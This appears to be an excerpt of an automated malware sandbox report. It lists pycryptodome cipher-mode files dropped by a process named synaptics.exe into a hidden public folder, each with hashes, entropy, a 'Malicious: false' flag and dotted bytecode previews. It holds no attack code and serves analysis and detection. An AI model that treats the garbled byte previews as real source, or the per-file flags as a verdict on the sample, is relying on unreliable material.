MD5:	F4163993E2D562EE1B316DE91636A055
SHA1:	8116CFDBFE9BBDF873D0725C920845900FD14D2B
SHA-256:	10D7E26829732707757FE6054BFE61613E37B511D9108BDF1601E175BE4FA12B
SHA-512:	9E3668810F9EC6BBC9F6BFEFA36AFDA516A4895894F2B3ED63143B3E58FBA6628BCA552858C6E1FE93845D5C7DC225410AD174D5B132B9A8A8F7683EC55E171A
Malicious:	false
Reputation:	low
Preview:	o..........f.+.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z'.Ciphertext Block Chaining (CBC) mode....CbcMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_cbca..... int CBC_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. void pResult);. int CBC_encrypt(void cbcState,. const uint8_t in,. uint8_t out,. size_t data_len);. int CBC_decrypt(void cbcState,. const uint8_t in,. uint8_t *out,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_ccm.cpython-310.pyc.70760864

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17943
Entropy (8bit):	5.290121028324049
Encrypted:	false
SSDEEP:	384:gLq/qgUMlQiMS1I48juzC8Y2tMlx7vXyqE:gLSQM6jQMb7/yV
MD5:	9972D408002D5CC458330B0D1DB08E0A
SHA1:	5DD47EBD486F060247250E49ACD891A6828B5656
SHA-256:	B294EF910B72E281F70FE60676A2AEC6172DFE8DF79E9A4AB860A6A98C0E92BE
SHA-512:	B31A85BEDEA1AB04B190CF069678202674EC672712507EEBD8096AA9829E559972E455CED96D665D3FD8C224AF999A1A102E146027327CA6DE3323DDC81274C0
Malicious:	false
Reputation:	low
Preview:	o..........f.a.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.e.d.d.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z".Counter with CBC-MAC (CCM) mode....CcmMode.....N)...unhexlify)...byte_string..bord.._copy_bytes)...is_writeable_buffer)...strxor)...long_to_bytes)...BLAKE2s)...get_random_bytesc....................K...s....t.d.d.\|...S.).N..Enum..)...type).Z.enumsr....r.....IC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\_mode_ccm.py..enum3...s......r..............)...NOT_STARTED..PROCESSING_AUTH_DATA..PROCESSING_PLAINTEXTc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d.d...Z.d!d.d...Z.d!d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d!d.d...Z.d!d.d...Z.d.S.)"r....a....Counter with CBC-MAC (CCM)... This is an Authenticated Encryption with Associated Data (`AEAD`_) mode.. It provides both confidentiality and authenticity... The header of the mes

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_cfb.cpython-310.pyc.70760352

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7790
Entropy (8bit):	5.11088623490323
Encrypted:	false
SSDEEP:	96:uo6kvf/G8HDxEpuPnxEZYhPPsCIgGGt834mGPMsQNPx/g8H+G0t834U5pptYCcXn:d3xEuxEZnCJGkU4ma5GaU4mx4DbKq+E
MD5:	01B4280963587A1A5043B3C798C40F51
SHA1:	3E7F6AC381BF0CA9508A4374B1ABAB9AF4523FED
SHA-256:	3445010A08E709B2C1267C8A21B5B7067884011DC62D16782C872CA738845717
SHA-512:	452035908A9E65AC80EDE2DFE073C293B9E42090C1E265C12ECC79926FA99F93EA8C75D032DC5158D6F58D23B895858595DDFDFEFC96070B3160B679213EECA7
Malicious:	false
Reputation:	low
Preview:	o..........f.+.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Counter Feedback (CFB) mode....CfbMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_cfba .... int CFB_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. size_t segment_len, / In bytes /. void pResult);. int CFB_encrypt(void cfbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int CFB_decrypt(void *cfbState,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_ctr.cpython-310.pyc.70760608

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10988
Entropy (8bit):	5.105679246344849
Encrypted:	false
SSDEEP:	192:m7GD6nkH7cxiM16TPyl8ssmGrPU4uOGrNU4XrwSkcji+Gb:mamnGSQ480MTuOyTXMSkmi+0
MD5:	DA8EB714469ECE7F3621F3D57F009084
SHA1:	7EBDFEE41E407C10D7B9D62001CBBEB38EC4F2C4
SHA-256:	88D163F0ADF8A879757C4D3EED96B86BB7C4130394BA641005642E2D7131876D
SHA-512:	8A94C12ED6B737C83F7A9C82FDC4E1E47ADE5B80589591EF970858E574F719EB36548FCA553283FEDCAF7DB70900036201529916ABAC6BAC0210B63A12124B07
Malicious:	false
Reputation:	low
Preview:	o..........fM?.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Counter (CTR) mode....CtrMode.....N)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytes)..._copy_bytes..is_native_int)...long_to_bytesz.Crypto.Cipher._raw_ctra..... int CTR_start_operation(void cipher,. uint8_t initialCounterBlock[],. size_t initialCounterBlock_len,. size_t prefix_len,. unsigned counter_len,. unsigned littleEndian,. void pResult);. int CTR_encrypt(void ctrState,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_eax.cpython-310.pyc.70761120

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	12274
Entropy (8bit):	5.163707800228712
Encrypted:	false
SSDEEP:	192:BsVawXqNRGq1vCM4PBrU4/4DwU4X3Rz/AfrRWDL/773uewFjp3xWmk1:GawXq/F4M4lTwwTXp/AVeLT732L071
MD5:	0D25E542E979894286196F8A798A823A
SHA1:	22F237094A8D2CDE34164A5CEAEC3539EC429A75
SHA-256:	9BBDBDAAFEAD22489531D0992A69FFB8A05BCD2AD930256123458691B5EBFF5C
SHA-512:	7E67A31A475F459617B604B468E351A3947468B1BD83BD33945C7A21FC5DC1B0D3294A0D1655F3B3614E6427C53BD032DC5DF8457CE8DA2DD4378D5550D01100
Malicious:	false
Reputation:	low
Preview:	o..........f.:.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z..EAX mode....EaxMode.....N)...unhexlify)...byte_string..bord.._copy_bytes)...is_buffer)...strxor)...long_to_bytes..bytes_to_long)...CMAC..BLAKE2s)...get_random_bytesc....................@...sh...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....a....EAX mode... This is an Authenticated Encryption with Associated Data. (`AEAD`_) mode. It provides both confidentiality and authenticity... The header of the message may be left in the clear, if needed,. and it will still be subject to authentication... The decryption step tells the receiver if the message comes. from a source that really knowns the secret key.. Additionally, decryption detects if any part of the message -. including the header - has been modified

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_eax.cpython-310.pyc.76344096

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	12274
Entropy (8bit):	5.163707800228712
Encrypted:	false
SSDEEP:	192:BsVawXqNRGq1vCM4PBrU4/4DwU4X3Rz/AfrRWDL/773uewFjp3xWmk1:GawXq/F4M4lTwwTXp/AVeLT732L071
MD5:	0D25E542E979894286196F8A798A823A
SHA1:	22F237094A8D2CDE34164A5CEAEC3539EC429A75
SHA-256:	9BBDBDAAFEAD22489531D0992A69FFB8A05BCD2AD930256123458691B5EBFF5C
SHA-512:	7E67A31A475F459617B604B468E351A3947468B1BD83BD33945C7A21FC5DC1B0D3294A0D1655F3B3614E6427C53BD032DC5DF8457CE8DA2DD4378D5550D01100
Malicious:	false
Reputation:	low
Preview:	o..........f.:.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z..EAX mode....EaxMode.....N)...unhexlify)...byte_string..bord.._copy_bytes)...is_buffer)...strxor)...long_to_bytes..bytes_to_long)...CMAC..BLAKE2s)...get_random_bytesc....................@...sh...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....a....EAX mode... This is an Authenticated Encryption with Associated Data. (`AEAD`_) mode. It provides both confidentiality and authenticity... The header of the message may be left in the clear, if needed,. and it will still be subject to authentication... The decryption step tells the receiver if the message comes. from a source that really knowns the secret key.. Additionally, decryption detects if any part of the message -. including the header - has been modified

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_ecb.cpython-310.pyc.70759584

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5817
Entropy (8bit):	5.104392543295395
Encrypted:	false
SSDEEP:	96:cFv6kvV9AtXEHlhfKx7lhL3FeaqBP6sQLRdJ98HJm3qc5pHIeOD:cH9pHlhM7lekL96mxsD
MD5:	6D5591F049D697294B55A501D41C01A1
SHA1:	5CA2E2706EE0227E234C651D770B35ADA3A06318
SHA-256:	78FD5F9D687F7859A88B674DBABC0E7ECEE057E3ADC5F359EF0AE8518088759C
SHA-512:	95A24978F775A3B8282A8E3D52F99D4186F53C53301C3332F5645CC9A131EE5CEB1B4E71FD14BC12E33766EE6DE7016268A53D19E0F783FEE41FDFFE4A131F20
Malicious:	false
Reputation:	low
Preview:	o..........fQ!.......................@...sX...d.Z.d.g.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z".Electronic Code Book (ECB) mode....EcbMode.....)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_bufferz.Crypto.Cipher._raw_ecbak.... int ECB_start_operation(void cipher,. void pResult);. int ECB_encrypt(void ecbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int ECB_decrypt(void ecbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int ECB_stop_operation(void state);. c....................@...s,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_gcm.cpython-310.pyc.70761120

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17071
Entropy (8bit):	5.335286444215697
Encrypted:	false
SSDEEP:	384:Pt+RW9/ScqbkrPM4JjaTlTbIl67Wa+7l9A:Pkw9/Zw4c7Fc9A
MD5:	4FC27A4177BA77D149109E9368E9D36E
SHA1:	A7042065F8FA050B13665FDA19B5447EC7686AC6
SHA-256:	910B9ADB8B60D6C2A5BBD27D67DA46E2514C0BE4DFAD40066683979A4B62F8A1
SHA-512:	AD190FC141575D2059D485B3ED8D312FAB21F7319D3DB03662C31F4D468C832D5D4740AE048816214A5D3B906522FC5BE507B1B26DF2FA0BC86C0CA79A9D6961
Malicious:	false
Reputation:	low
Preview:	o..........f.U.......................@...s....d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.d...Z.d.d...Z.e...Z.d.d...Z.e...Z.G.d.d...d.e...Z d.d...Z!e!d.d.d...Z"G.d.d...d.e...Z#d.d...Z$d.S.).z..Galois/Counter Mode (GCM)....GcmMode.....)...unhexlify)...bord.._copy_bytes)...is_buffer)...long_to_bytes..bytes_to_long)...BLAKE2s)...get_random_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr)..._cpu_featuresa`.... int ghash_%imp%(uint8_t y_out[16],. const uint8_t block_data[],. size_t len,. const uint8_t y_in[16],. const void exp_key);. int ghash_expand_%imp%(const uint8_t h[16],. void ghash_tables);. int ghash_destroy_%imp%(void ghash_tables);.c........................sl...d.d.l.m.}...d.}.\|.d.\|...}.z.....f.d

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_gcm.cpython-310.pyc.76344096

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17071
Entropy (8bit):	5.335286444215697
Encrypted:	false
SSDEEP:	384:Pt+RW9/ScqbkrPM4JjaTlTbIl67Wa+7l9A:Pkw9/Zw4c7Fc9A
MD5:	4FC27A4177BA77D149109E9368E9D36E
SHA1:	A7042065F8FA050B13665FDA19B5447EC7686AC6
SHA-256:	910B9ADB8B60D6C2A5BBD27D67DA46E2514C0BE4DFAD40066683979A4B62F8A1
SHA-512:	AD190FC141575D2059D485B3ED8D312FAB21F7319D3DB03662C31F4D468C832D5D4740AE048816214A5D3B906522FC5BE507B1B26DF2FA0BC86C0CA79A9D6961
Malicious:	false
Reputation:	low
Preview:	o..........f.U.......................@...s....d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.d...Z.d.d...Z.e...Z.d.d...Z.e...Z.G.d.d...d.e...Z d.d...Z!e!d.d.d...Z"G.d.d...d.e...Z#d.d...Z$d.S.).z..Galois/Counter Mode (GCM)....GcmMode.....)...unhexlify)...bord.._copy_bytes)...is_buffer)...long_to_bytes..bytes_to_long)...BLAKE2s)...get_random_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr)..._cpu_featuresa`.... int ghash_%imp%(uint8_t y_out[16],. const uint8_t block_data[],. size_t len,. const uint8_t y_in[16],. const void exp_key);. int ghash_expand_%imp%(const uint8_t h[16],. void ghash_tables);. int ghash_destroy_%imp%(void ghash_tables);.c........................sl...d.d.l.m.}...d.}.\|.d.\|...}.z.....f.d

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_ocb.cpython-310.pyc.70761888

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	14653
Entropy (8bit):	5.242538988513641
Encrypted:	false
SSDEEP:	384:SqHGdezRbrM0R4K/eWAe4hvDCxH5DBbaZ0dQ:SsGdeZMMF2ygOZ5aZ0dQ
MD5:	64BA6D52F739BAE2537D83C37B9C7C3D
SHA1:	31DE522E71314D4D085C341B86E7DA6BF31CB21B
SHA-256:	7EA3229D6D4B4D1860C6C004FD20195E3BFA876670408FA44D703F155FD91DC7
SHA-512:	D9814DF69C267462BB5BFA4A1C8B13691CD010B1D46BEFF29A9B037BC69A425F268E2D234BC3DB06CD3AF70903A1462F3013ABD7589A49241C7B5FE7709D1E3A
Malicious:	false
Reputation:	low
Preview:	o..........f.O.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).ah....Offset Codebook (OCB) mode...OCB is Authenticated Encryption with Associated Data (AEAD) cipher mode.designed by Prof. Phillip Rogaway and specified in `RFC7253`_...The algorithm provides both authenticity and privacy, it is very efficient,.it uses only one key and it can be used in online mode (so that encryption.or decryption can start before the end of the message is available)...This module implements the third and last variant of OCB (OCB3) and it only.works in combination with a 128-bit block symmetric cipher, like AES...OCB is patented in US but `free licenses`_ exist for software implementations.meant for non-military purposes...Example:. >>> from Crypto.Cipher import AES. >>> from Crypto.Random import get_random_bytes. >>>. >>> key = get_ran

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_ofb.cpython-310.pyc.70760480

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7359
Entropy (8bit):	5.087305523269934
Encrypted:	false
SSDEEP:	96:qA6kv9jQvHHq12nxIN3hSLA5esIUGGt834mGPMsQN7t/z8HaGTvt834+5pcRJ6Xn:dyHqAxId8s9GkU4yZlGTVU4JCoq/1l
MD5:	6FC6FFA8BC7E3BFE1D24B13AB76BD235
SHA1:	7162D9046E6B98CBB9CCC243022D808BFF63A4C3
SHA-256:	AAE4286AFD12F79B723CBF7F3C0A38FE4F0D5C04730160F93FB77E595B94283B
SHA-512:	A2AA2AB7CC5C190DBEBE8BD764D9C750EEC70498AA011CCD571563ACDB2A0804D4A612A31179C05D2D2335071D6A07254FCF43BB65ECA4247B306B892EEE4CA6
Malicious:	false
Reputation:	low
Preview:	o..........f.(.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Output Feedback (CFB) mode....OfbMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_ofba..... int OFB_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. void pResult);. int OFB_encrypt(void ofbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int OFB_decrypt(void *ofbState,. const uint8

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_openpgp.cpython-310.pyc.70760736

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4815
Entropy (8bit):	5.238106852194177
Encrypted:	false
SSDEEP:	96:RV8N+A+Xkyi2Kt834mGPUGt8340y9nxBX4o7UIDFI:RU+A+5YU44kU4H9xxUIZI
MD5:	1E6D4322F828C3148DC645AC02283896
SHA1:	C18EB349C6F29D0B32FC460BE47C45B311A5AAA0
SHA-256:	98EE5257E14919D3641CEEB06C4A7AA51F0772605D75EB82A9FE98D044300E61
SHA-512:	D92314DDB4C22D4540FE21B7AA87C0E5DEC926DD99CD38B05A4C0E9EA130EDCCF462CDDEE8333E5F4546B92BF34A7A0C9D4D20727E914F7F7F343C3661A70100
Malicious:	false
Reputation:	low
Preview:	o..........f[........................@...s>...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z..OpenPGP mode....OpenPgpMode.....)..._copy_bytes)...get_random_bytesc....................@...s(...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....az...OpenPGP mode... This mode is a variant of CFB, and it is only used in PGP and. OpenPGP_ applications. If in doubt, use another mode... An Initialization Vector (IV) is required... Unlike CFB, the encrypted IV (not the IV itself) is. transmitted to the receiver... The IV is a random data block. For legacy reasons, two of its bytes are. duplicated to act as a checksum for the correctness of the key, which is now. known to be insecure and is ignored. The encrypted IV is therefore 2 bytes. longer than the clean IV... .. _OpenPGP: http://tools.ietf.org/html/rfc4880.. :undocumented: __init__. c....................C...s....\|.j.\|._.d.\|._.\|.j.\|.\|.j.f.d.\|.j...\|.j.d...d...\|.....}.t.d.d.\|...}.t.\|...\|.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_siv.cpython-310.pyc.70761248

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11816
Entropy (8bit):	5.250366910481593
Encrypted:	false
SSDEEP:	192:pLqjzBGjN4xYIBKXrEApsGdDGdkT+WIp6hW97iuA4al45B3xQrBBQ:tq45XIBarEWfYiIpAe7JaG81m
MD5:	EC6CFE1ACDC8B91ADCD9C033ECAEAE8B
SHA1:	6AEE1E3D747BBA37D9C3A0D8649C5048AE9EDD88
SHA-256:	357DABFACCD7A90A7062408B64A2F25ACE15030255CC9C3E8DCDAE7CAF396E30
SHA-512:	2E43420ADBCB2493C6D7EC790A5523CB3D9B44BFD03F203FA40913322EE745E6DD83341ADB95DCE9CA8DEC3B63ECBF3B8E8BD1504CB0480954AEE6867380BF17
Malicious:	false
Reputation:	low
Preview:	o..........f!8.......................@...s....d.Z.d.g.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z-.Synthetic Initialization Vector (SIV) mode....SivMode.....)...hexlify..unhexlify)...bord.._copy_bytes)...is_buffer)...long_to_bytes..bytes_to_long)..._S2V)...BLAKE2s)...get_random_bytesc....................@...sl...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....a....Synthetic Initialization Vector (SIV)... This is an Authenticated Encryption with Associated Data (`AEAD`_) mode.. It provides both confidentiality and authenticity... The header of the message may be left in the clear, if needed, and it will. still be subject to authentication. The decryption step tells the receiver. if the message comes from a source that really knowns the secret key.. Additionally, decryption detects if any part of the message - including

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_mode_siv.cpython-310.pyc.76344224

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11816
Entropy (8bit):	5.250366910481593
Encrypted:	false
SSDEEP:	192:pLqjzBGjN4xYIBKXrEApsGdDGdkT+WIp6hW97iuA4al45B3xQrBBQ:tq45XIBarEWfYiIpAe7JaG81m
MD5:	EC6CFE1ACDC8B91ADCD9C033ECAEAE8B
SHA1:	6AEE1E3D747BBA37D9C3A0D8649C5048AE9EDD88
SHA-256:	357DABFACCD7A90A7062408B64A2F25ACE15030255CC9C3E8DCDAE7CAF396E30
SHA-512:	2E43420ADBCB2493C6D7EC790A5523CB3D9B44BFD03F203FA40913322EE745E6DD83341ADB95DCE9CA8DEC3B63ECBF3B8E8BD1504CB0480954AEE6867380BF17
Malicious:	false
Reputation:	low
Preview:	o..........f!8.......................@...s....d.Z.d.g.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z-.Synthetic Initialization Vector (SIV) mode....SivMode.....)...hexlify..unhexlify)...bord.._copy_bytes)...is_buffer)...long_to_bytes..bytes_to_long)..._S2V)...BLAKE2s)...get_random_bytesc....................@...sl...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....a....Synthetic Initialization Vector (SIV)... This is an Authenticated Encryption with Associated Data (`AEAD`_) mode.. It provides both confidentiality and authenticity... The header of the message may be left in the clear, if needed, and it will. still be subject to authentication. The decryption step tells the receiver. if the message comes from a source that really knowns the secret key.. Additionally, decryption detects if any part of the message - including

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\pycache\_pkcs1_oaep_decode.cpython-310.pyc.71697504

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	4.645410861092278
Encrypted:	false
SSDEEP:	24:mKD8osetp6ePCXjDRy2NjKKJwABGhxmZk5F5186hnnj5Mwj:mKwosM6p1uV860wj
MD5:	775ECC4F4EE06A17DD571D8E0D85B23E
SHA1:	C69DAA752AD762B85D6520C4E7278607BB02AD9C
SHA-256:	FFCB843B67D41D0D6DE61A84FF21EA430B1994305609EC7819AB5AFF50EB512D
SHA-512:	F426374C2838C2D7655BDC76174C36A7709A4CC05B39E22A540BA07B853CD14161C5926C36A8EB40B40D9568F838E17393EF6AA5E0D06C7773AE5355000487ED
Malicious:	false
Reputation:	low
Preview:	o..........fI........................@...s2...d.d.l.m.Z.m.Z.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_lib..c_size_t..c_uint8_ptrz.Crypto.Cipher._pkcs1_decodea..... int pkcs1_decode(const uint8_t em, size_t len_em,. const uint8_t sentinel, size_t len_sentinel,. size_t expected_pt_len,. uint8_t output);.. int oaep_decode(const uint8_t em,. size_t em_len,. const uint8_t lHash,. size_t hLen,. const uint8_t db,. size_t db_len);. c....................C...sP...t.\|...t.\|...k.r.t.d.....t...t.\|...t.t.\|.....t.\|...t.t.\|.....t.\|...t.\|.....}.\|.S.).Nz.Incorrect output length)...len..ValueErr

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_mode_ofb.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	716
Entropy (8bit):	4.736539689518066
Encrypted:	false
SSDEEP:	12:1REYBw1+sJal9lvIY3FDXHo2JRyU1AOlSFq6R5pFq6jI33ynFq6R5xnFq6jI338:1REP+LjT3pHo2NAY4nRNne3yFnR3FneM
MD5:	AFB364F0C9ADDDBA29076577257DFC52
SHA1:	208940A0B5304122118AD8E33CB8B8AF35228146
SHA-256:	C3F9CFE344BE5B88677256A584AC428D271A23B45E856A77165844787980B63F
SHA-512:	00A6D68651C4AE8D159E15F6617421322764CBE06307D9E454A96FBEE925F37BB567A2365416B9C2F4A1FE3AD03185750AB65B8B6BD08878446C8368508D45F8
Malicious:	false
Reputation:	low
Preview:	from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['OfbMode']....class OfbMode(object):.. block_size: int.. iv: Buffer.. IV: Buffer.. .. def __init__(self,.. block_cipher: SmartPointer,.. iv: Buffer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_mode_openpgp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7259
Entropy (8bit):	4.832276328481339
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/Itv4RK0tUU4cp/6U41k2T:0rskrs9Vq0J0tUTccT7
MD5:	A64ED188605DD3505B7F51513EC9397D
SHA1:	38198DDFB53F1C410999AC0622F27328F7EB3D85
SHA-256:	3F71E4528BD24F3CC96BDEA89BC1CAC2FE69FC198C4DB07BFD0A1C997827FAE4
SHA-512:	0559C532F2D2B5DF2994AA16C0204C2AC27283B5540530BD1F069BC46A4C1F6A5E8142976DF29AC112B7F24E49200EA2DCF7C0C3BB1E537B559E2D616D148732
Malicious:	false
Reputation:	low
